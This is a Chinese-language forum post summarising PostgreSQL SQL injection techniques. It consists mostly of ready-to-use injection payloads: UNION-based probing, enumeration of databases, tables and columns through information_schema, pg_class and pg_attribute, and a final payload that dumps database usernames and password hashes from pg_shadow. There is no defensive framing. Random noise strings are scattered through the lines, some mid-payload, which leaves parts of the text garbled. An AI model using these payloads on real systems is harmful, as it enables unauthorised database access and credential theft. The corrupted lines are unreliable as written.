找回密码
 立即注册
查看: 2320|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点
! o8 K0 I$ H# T5 m) L% D

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
' i# w/ @  f7 d2 j1 x$ Y连接符: %20 , + , /**/

内置函数:
5 M1 h! a! b9 g( k8 q' \; P2 a2 Vcurrent_database() //当前数据库名7 W* {5 N/ ~! u9 k, N
session_user //会话用户
9 D1 z3 p% h: d1 N3 Ucurrent_user //当前数据库用户% Y: y; ]7 q' K% R* B
user //当前用户
# _- x  t" U5 r. nversion() //数据库版本

Union注射:
" q3 I  x- `0 C' V) P9 ^order by n–7 D. Y& ]0 ]5 q1 A1 v, {! n3 d) L2 f
and 1=2 union select null,null,null–$ f% T' a& i- ~  \0 T
and 1=2 union select ‘beach’,null,null–) R% W/ U, J- s7 v% i* c, d  |
and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
) i! V- e. B# ugroup_concat(table_name)3 R! Y/ x) S$ {; g1 s# ?: j1 c
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
7 ^$ E1 W3 s8 ]- Zand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–6 W8 @" n% o3 m1 l
(老版本)( J' M! B- N9 [* y6 L  M
pg_class.oid对应pg_attribute.attrelid
% \2 ]  }) y8 i+ p" Epg_class.relname表名
7 g. M$ W0 b: j& g) cpg_attribute.attname字段名

select relname from pg_class获取表名
/ l; ~) G. ^- d# \+ L7 ~5 y3 @select oid from pg_class where 条件 获取参数
2 a9 D! g: g, x: Q; v: mselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:, r& _, d, B$ h
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表9 g! l& X- Y8 A' T7 u& s: h
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–4 Q9 R9 Y0 a. S1 f% w) z! \4 g
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
' z) a7 s$ w  H/ C8 P# J/ X9 O======================================================================
) F0 u; V* g& D# q. Cand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
3 |+ [. Y. v) P' p* P5 Eand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表